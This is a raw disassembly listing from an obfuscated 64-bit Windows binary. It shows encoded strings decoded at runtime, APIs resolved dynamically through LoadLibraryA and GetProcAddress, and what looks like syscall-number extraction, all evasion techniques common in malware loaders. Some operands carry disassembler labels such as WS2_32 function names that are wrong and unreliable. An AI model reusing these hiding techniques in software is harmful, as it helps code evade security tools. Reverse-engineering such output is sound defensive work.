movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x6f
add r11b, cl
add r11b, r10b
mov byte [rbp + rdi + 0x7c0], r11b
add r8, r9
jmp 0x1401940bb
movabs rdx, 0xc1472f6863df94ca
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rdi + 0x7c0]
add r10b, r11b
add r10b, dl
movabs rcx, 0x81e4d67f1c5cdc3b
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x63
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x7c0], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x42827d95d4da23ac
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0x7c0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401935b2
movabs rcx, 0x580474761b15e237
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
movzx eax, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], al
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401935b2
movabs rcx, 0x53173bc0572ba6af
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x37
movzx eax, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], al
add r8, r9
jmp 0x1401940bb
movabs rcx, 0x50a09f65753688eb
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6d
movzx eax, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], al
dec rdi
inc rdi
jmp 0x1401935b2
movabs rdx, 0x4e2a030a93416b27
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x11
add r10b, dl
movzx eax, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], al
jmp 0x14019400f
movabs rcx, 0x4bb366afb14c4d63
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4b
movabs rcx, 0x7f6e3a243a67be77
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x41
add r11b, cl
mov byte [rbp + rdi + 0x7c0], r11b
inc r9
dec rdi
inc rdi
jmp 0x1401935b2
movabs rcx, 0xca7818824051be81
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x79
inc r9
dec rdi
inc rdi
jmp 0x1401935b2
movabs rcx, 0x493cca54cf572f9f
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x59
dec rdi
inc rdi
jmp 0x1401935b2
movabs rcx, 0xc58adfcc7c6782f9
add rcx, rdi
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x31
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1401935b2
movabs rcx, 0x41d8f5442977d653
add rcx, rdi
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x45
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401935b2
lea rbx, [rbp + 0x16c07ac]
movzx eax, byte [rbp + 0x5d10]
mov byte [rbp + 0x5d10], al
jmp 0x140194159
lea rbx, [rbp + 0xe94f1d]
jmp 0x140194159
lea rbx, [rbp + 0x7c0]
lea rdx, [rbp + 0xb30]
lea rcx, [rbp - 0x38]
call fcn.1401647f0
xor edi, edi
cmp byte [rbp + 0xb49], dil
je 0x1401941c2
mov r9d, edi
lea r10, [rbp + 0xb30]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1a
jl 0x140194190
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0x1c30]
call fcn.14013a940
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1c50]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rdx, rax
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], di
mov r9d, 0x1010
lea r8, [0x140443e2f]
xor ecx, ecx
call fcn.140145110
nop
lea rcx, [rbp + 0x1c50]
call fcn.140135dd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb30], xmm0
mov qword [rbp + 0xb40], rax
mov word [rbp + 0xb48], ax
mov rcx, qword [rbp - 0x10]
call fcn.140135dd0
mov r15d, 0xc0000001
lea rcx, [rbp + 0xa68]
call fcn.140135c60
nop
lea rcx, [rbp + 0x1b30]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 0x18]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 0x28]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 8]
call fcn.140135dd0
test r15d, r15d
js 0x140197368
mov byte [rbp + 0xd1c], 0x3f
mov byte [rbp + 0xd1d], 0x22
mov byte [rbp + 0xd1e], 0x26
mov byte [rbp + 0xd1f], 0x7e
mov byte [rbp + 0xd20], 0x7c
mov byte [rbp + 0xd21], 0x3a
mov byte [rbp + 0xd22], 0x62
mov byte [rbp + 0xd23], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0xd24], 0x3a
mov byte [rbp + 0xd25], 0x39
mov byte [rbp + 0xd26], 0xac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd27], xmm0
mov word [rbp + 0xd37], ax
movabs r14, 0x9ea4d508b9983c3c
movzx r11d, byte [rbp + 0x5d00]
nop dword [rax]
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
nop
mov rbx, rdi
cmp rbx, 0x1d
jae 0x1401950fc
movzx r10d, byte [rbp + rbx + 0xd1c]
mov rdi, r10
nop dword [rax]
cmp r9, rbx
ja 0x1401950f0
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14019436d
movabs rsi, 0x74a23b4f6e30bc9
lea rcx, [rbx + rsi]
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
sub r11b, 0x7f
jmp 0x1401943a4
je 0x140195061
lea rax, [r8 + 3]
cmp r9, rax
je 0x140194fbd
lea rax, [r8 + 4]
cmp r9, rax
je 0x140194f54
lea rax, [r8 + 6]
cmp r9, rax
je 0x140194f29
movabs rsi, 0x74a23b4f6e30bc9
cmp r8, rbx
ja 0x1401950e4
lea rax, [r8 + 0x61]
cmp r9, rax
jae 0x1401943e2
movabs rdx, 0x9914edd8409ff77d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6b
add r11b, dl
jmp 0x140194423
lea rax, [r8 + 1]
cmp r9, rax
je 0x140194ed4
lea rax, [r8 + 2]
cmp r9, rax
je 0x140194eaa
lea rax, [r8 + 3]
cmp r9, rax
je 0x140194e85
lea rax, [r8 + 4]
cmp r9, rax
je 0x140194e61
lea rax, [r8 + 7]
cmp r9, rax
je 0x140194e39
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140194955
lea rax, [r8 + 2]
cmp r9, rax
je 0x14019492c
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x1401948fa
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x1401948cb
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x1401948a2
movabs rdx, 0x3f03e695f11b3f82
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x39
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140194313
movabs rdx, 0x306f9f2c035527f0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rbx
inc rbx
jmp 0x140194313
movabs rdx, 0x21db57c2158f105e
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140194ef7
lea rax, [r8 + 0x2a]
cmp r9, rax
jae 0x140194988
lea rdx, [rbx + rsi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7f
add r11b, dl
movzx esi, byte [rbp + 0x5d10]
jmp 0x140194b21
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1401949cf
movabs rdx, 0x3229dbb0813feefa
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xd1c]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140194313
inc rax
cmp r9, rax
jne 0x140194a04
movabs rdx, 0x40be231a6f06068c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140195013
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140194a3a
movzx edx, sil
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x140194e0b
lea rax, [r8 + 0x1000]
cmp r9, rax
jbe 0x140194bd5
movabs rdx, 0x4b2c8ee3a02e13a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0xd1c]
add r11b, r10b
jmp 0x140194fe0
movabs rdx, 0xdb72927aed0b40d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5b
add r11b, dl
jmp 0x140195013
movabs rcx, 0xf08e9a53d34484e9
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5f
jmp 0x140194fa4
movabs rdx, 0xd3660b7ff7b855c5
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x63
jmp 0x140194f74
movabs rcx, 0xc4d1c41609f23e33
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x65
dec rbx
inc rbx
jmp 0x140194313
movabs rdx, 0xa7a935422e660f0f
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x69
add r11b, dl
movabs rcx, 0xeed45dcf5559bddf
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x19
add cl, r10b
mov byte [rbp + rbx + 0xd1c], cl
inc r8
dec rbx
inc rbx
jmp 0x140194313
movabs rcx, 0x6d58179a774db0c7
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x71
dec rbx
inc rbx
jmp 0x140194313
movabs rdx, 0x5ec3d03089879935
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x73
add r11b, dl
movabs rcx, 0xfd68a539431fd571
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x17
add r10b, r11b
add r10b, cl
mov byte [rbp + rbx + 0xd1c], r10b
add r9, r8
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140194313
mov r10, rdi
movabs rdx, 0x3306f9f2c035527f
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x79
add r11b, dl
movabs rcx, 0xbfceca330e5ed03
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x15
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xd1c], al
inc r8
add rax, r8
sub rbx, rax
movabs rdx, 0x1347105827c8f8cc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0xd1c], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd1c]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140194313
movabs rcx, 0x15de6b1ee4a9235b
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x7d
movzx eax, byte [rbp + rbx + 0xd1c]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140194313
lea rcx, [rbp + 0x14bf828]
jmp 0x140195103
lea rcx, [rbp + 0xaf03f1]
jmp 0x140195103
lea rcx, [rbp + 0xd1c]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
je 0x140197366
mov byte [rbp + 0x223c], 0xee
mov byte [rbp + 0x223d], 0xc5
mov byte [rbp + 0x223e], 0xe0
mov byte [rbp + 0x223f], 0xea
mov byte [rbp + 0x2240], 0xe9
mov byte [rbp + 0x2241], 0xf1
mov byte [rbp + 0x2242], 0xd3
mov byte [rbp + 0x2243], 0xc1
mov byte [rbp + 0x2244], getservbyname
mov byte [rbp + 0x2245], 0x2a
mov byte [rbp + 0x2246], gethostbyaddr
mov byte [rbp + 0x2247], reloc.WS2_32.dll_select
mov byte [rbp + 0x2248], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x2249], recvfrom
mov byte [rbp + 0x224a], getservbyname
mov byte [rbp + 0x224b], getservbyname
mov byte [rbp + 0x224c], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x224d], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x224e], 0x3d
mov byte [rbp + 0x224f], 0x3f
mov byte [rbp + 0x2250], 0xc4
xorps xmm0, xmm0
movups xmmword [rbp + 0x2251], xmm0
movabs r12, 0x58f23cf4140e9098
movzx ebx, byte [rbp + 0x5d00]
movzx r13d, byte [rbp + 0x5d10]
nop dword [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor r11d, r11d
cmp r11, 0x25
jae 0x140195e0f
movzx r10d, byte [rbp + r11 + 0x223c]
mov rdi, r10
nop dword [rax]
cmp r8, r11
ja 0x140195e03
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14019523c
movabs rsi, 0x14b8e79e7c471f78
lea rcx, [r11 + rsi]
mov rax, r10
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r10
add rbx, rcx
sub bl, 0x48
jmp 0x140195280
je 0x140195d74
lea rax, [r9 + 2]
cmp r8, rax
je 0x140195cd2
lea rax, [r9 + 4]
cmp r8, rax
je 0x140195c98
lea rax, [r9 + 5]
cmp r8, rax
je 0x140195c43
lea rax, [r9 + 3]
cmp r8, rax
je 0x140195c13
movabs rsi, 0x14b8e79e7c471f78
cmp r9, r11
ja 0x140195df7
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1401952bd
movabs rdx, 0xb32b000031d594d8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140195310
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140195bbe
lea rax, [r9 + 2]
cmp r8, rax
je 0x140195b91
lea rax, [rcx + 1]
cmp r8, rax
je 0x140195b77
lea rax, [r9 + 3]
cmp r8, rax
je 0x140195b54
lea rax, [r9 + 4]
cmp r8, rax
je 0x140195b31
lea rax, [r9 + 7]
cmp r8, rax
je 0x140195af8
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x140195808
movabs rdx, 0x282b4924eed5cb48
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x223c]
add rax, r9
add r11, rax
inc r11
jmp 0x1401951e3
movabs rcx, 0xfeb979e7f6478c58
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x68
jmp 0x140195d26
movabs rcx, 0xabd5db6e052b0e78
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x48
jmp 0x140195cba
lea rcx, [r11 + r12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x28
jmp 0x140195c65
movabs rdx, 0x2f806db71b8051a8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x1401951e3
movabs rcx, 0xdc9ccf3d2a63d3c8
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x78
movabs rdx, 0x566530c4009da948
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x223c], cl
inc r9
dec r11
inc r11
jmp 0x1401951e3
movabs rdx, 0x6047618640b916f8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r9
dec r11
inc r11
jmp 0x1401951e3
movabs rdx, 0xd63c30c4f9c9918
mov ecx, 0x2c
add rdx, r11
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movabs rdx, 0x7fd70000f92be838
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x223c], cl
add r8, r9
jmp 0x140195cba
movabs rdx, 0xba8024925e801b38
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, 0x3c
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1401951e3
mov r10, rdi
movabs rcx, 0x910e555565f1dc48
add rcx, r11
and dil, cl
mov eax, 4
sub al, dil
lea ebx, [rax + rax]
add bl, r10b
add bl, cl
movabs rcx, 0xa948cf3df1ba2728
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x18
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x223c], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0xbe01b6dc6e0146a0
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, cl
mov byte [rbp + r11 + 0x223c], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x223c]
add rax, r9
add r11, rax
inc r11
jmp 0x1401951e3
movabs rdx, 0x3e2ab6db74d55e68
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, byte [rbp + r11 + 0x223c]
add rax, r9
add r11, rax
inc r11
jmp 0x1401951e3
lea rdx, [rbp + 0x14946dc]
jmp 0x140195e16
lea rdx, [rbp + 0x506654]
jmp 0x140195e16
lea rdx, [rbp + 0x223c]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
test rax, rax
je 0x140197368
mov ebx, dword [rax + 4]
mov dword [0x1404e9d1c], ebx
mov dword [rbp + 0x46bc], edi
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x46c0]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x48c0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x48c8], xmm0
movups xmmword [rbp + 0x48d8], xmm0
mov qword [rbp + 0x48e8], rax
movups xmmword [rbp + 0x48f0], xmm0
mov dword [rbp + 0x4900], eax
mov dword [rbp + 0x4904], edi
mov qword [rbp + 0x4908], rdi
mov qword [rbp + 0x4910], rdi
mov dword [rbp + 0x4918], edi
mov qword [rbp + 0x4920], rdi
mov qword [rbp + 0x4928], rax
mov dword [rbp + 0x4930], eax
mov dword [rbp + 0x4934], edi
mov dword [rbp + 0x4938], edi
mov dword [rbp + 0x493c], edi
mov word [rbp + 0x4940], di
movups xmmword [rbp + 0x4948], xmm0
movups xmmword [rbp + 0x4958], xmm0
mov qword [rbp + 0x4968], rax
mov qword [rbp + 0x46b0], 0xaed0de
mov dword [rbp + 0x46b8], 1
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x46b0]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rdi
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, ebx
call fcn.140163710
test eax, eax
js 0x140195f47
cmp dword [rbp + 0x46bc], 0x10000
je 0x140195f4c
mov eax, 0xc0000001
test eax, eax
js 0x140197368
movzx ebx, byte [rbp + 0x360]
test bl, bl
je 0x140195f89
call fcn.140147330
mov edx, 2
lea rcx, [rbp + 0x218]
call fcn.1401569f0
mov rcx, rax
call fcn.1401a7360
test bl, bl
jne 0x14019604b
call fcn.14014ced0
test al, al
jne 0x140196043
cmp byte [rbp - 0x57], dil
je 0x140196043
lea rdx, [rbp + 0x2158]
lea rcx, [rbp - 0x37]
call fcn.140164820
cmp byte [rbp + 0x217b], dil
je 0x140196002
mov r8d, edi
lea r9, [rbp + 0x2158]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140195fd0
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], di
mov r9d, 0x1040
lea r8, [0x140443e2f]
lea rdx, [rbp + 0x2158]
xor ecx, ecx
call fcn.140145110
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2158], xmm0
movups xmmword [rbp + 0x2168], xmm0
mov dword [rbp + 0x2178], eax
test bl, bl
je 0x14019605a
cmp byte [rbp - 0x56], dil
je 0x14019605a
call fcn.14014cf20
mov r14, qword [rsp + 0x68]
mov dword [rbp + 0x497c], edi
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x4980]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x4b80], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x4b88], xmm0
movups xmmword [rbp + 0x4b98], xmm0
mov qword [rbp + 0x4ba8], rax
movups xmmword [rbp + 0x4bb0], xmm0
mov dword [rbp + 0x4bc0], eax
mov dword [rbp + 0x4bc4], edi
mov qword [rbp + 0x4bc8], rdi
mov qword [rbp + 0x4bd0], rdi
mov dword [rbp + 0x4bd8], edi
mov qword [rbp + 0x4be0], rdi
mov qword [rbp + 0x4be8], rax
mov dword [rbp + 0x4bf0], eax
mov dword [rbp + 0x4bf4], edi
mov dword [rbp + 0x4bf8], edi
mov dword [rbp + 0x4bfc], edi
mov word [rbp + 0x4c00], di
movups xmmword [rbp + 0x4c08], xmm0
movups xmmword [rbp + 0x4c18], xmm0
mov qword [rbp + 0x4c28], rax
mov qword [rbp + 0x4970], 0xaed0de
mov dword [rbp + 0x4978], reloc.WS2_32.dll_socket
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x4970]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rdi
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, dword [0x1404e9d1c]
call fcn.140163710
shr eax, 0x1f
xor al, 1
test r13b, r13b
je 0x14019617f
cmp byte [rbp - 0x55], 0
je 0x1401972a8
test al, al
je 0x1401972b0
test bl, bl
je 0x140197432
mov dword [rbp + 0x4c3c], edi
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x4c40]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x4e40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x4e48], xmm0
movups xmmword [rbp + 0x4e58], xmm0
mov qword [rbp + 0x4e68], rax
movups xmmword [rbp + 0x4e70], xmm0
mov dword [rbp + 0x4e80], eax
mov dword [rbp + 0x4e84], edi
mov qword [rbp + 0x4e88], rdi
mov qword [rbp + 0x4e90], rdi
mov dword [rbp + 0x4e98], edi
mov qword [rbp + 0x4ea0], rdi
mov qword [rbp + 0x4ea8], rax
mov dword [rbp + 0x4eb0], eax
mov dword [rbp + 0x4eb4], edi
mov dword [rbp + 0x4eb8], edi
mov dword [rbp + 0x4ebc], edi
mov word [rbp + 0x4ec0], di
movups xmmword [rbp + 0x4ec8], xmm0
movups xmmword [rbp + 0x4ed8], xmm0
mov qword [rbp + 0x4ee8], rax
mov qword [rbp + 0x4c30], 0xaed0de
mov dword [rbp + 0x4c38], 4
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x4c30]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rdi
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, dword [0x1404e9d1c]
call fcn.140163710
test eax, eax
jns 0x140197432
test r13b, r13b
je 0x140197432
lea rdx, [rbp + 0x2920]
lea rcx, [rbp - 0x34]
call fcn.140164890
cmp byte [rbp + 0x29a0], 0
je 0x1401962f5
mov r8d, edi
lea r9, [rbp + 0x2920]
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x1401962c0
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], di
mov r9d, 0x1040
lea r8, [0x140443e2f]
lea rdx, [rbp + 0x2920]
xor ecx, ecx
call fcn.140145110
lea rax, [rbp + 0x2920]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm0
mov byte [rax + 0x80], cl
jmp 0x140197368
mov byte [rbp + 0x908], 0xfb
mov byte [rbp + 0x909], 0xe6
mov byte [rbp + 0x90a], 0xe2
mov byte [rbp + 0x90b], 0xe4
mov byte [rbp + 0x90c], 0x9a
mov byte [rbp + 0x90d], 0x98
mov byte [rbp + 0x90e], 0xe6
xor eax, eax
mov qword [rbp + 0x90f], rax
mov dword [rbp + 0x917], eax
mov byte [rbp + 0x91b], al
movabs rsi, 0x25748e1ecf282dec
movabs r14, 0xc7280e39a4531794
movabs r15, 0xb766191222e18d1c
movabs r12, 0xa7a423eaa17002a4
movabs r13, 0x1be27bcef7cfe4e8
movzx ebx, byte [rbp + 0x5d00]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
xor r11d, r11d
movabs rdx, 0x87e0fa93c0b8c53c
cmp r11, 0x14
jae 0x140197179
movzx r10d, byte [rbp + r11 + 0x908]
mov rdi, r10
cmp r8, r11
ja 0x14019716d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140196435
lea rcx, [r11 + rdx]
mov rax, r10
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r10
add rbx, rcx
add bl, 0x5c
jmp 0x140196470
je 0x1401970dd
lea rax, [r9 + 3]
cmp r8, rax
je 0x140197039
lea rax, [r9 + 4]
cmp r8, rax
je 0x140196fd7
lea rax, [r9 + 2]
cmp r8, rax
je 0x140196faa
lea rax, [r9 + 5]
cmp r8, rax
je 0x140196f53
nop
cmp r9, r11
ja 0x140197161
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1401964a0
lea rcx, [r11 + rsi]
movzx eax, cl
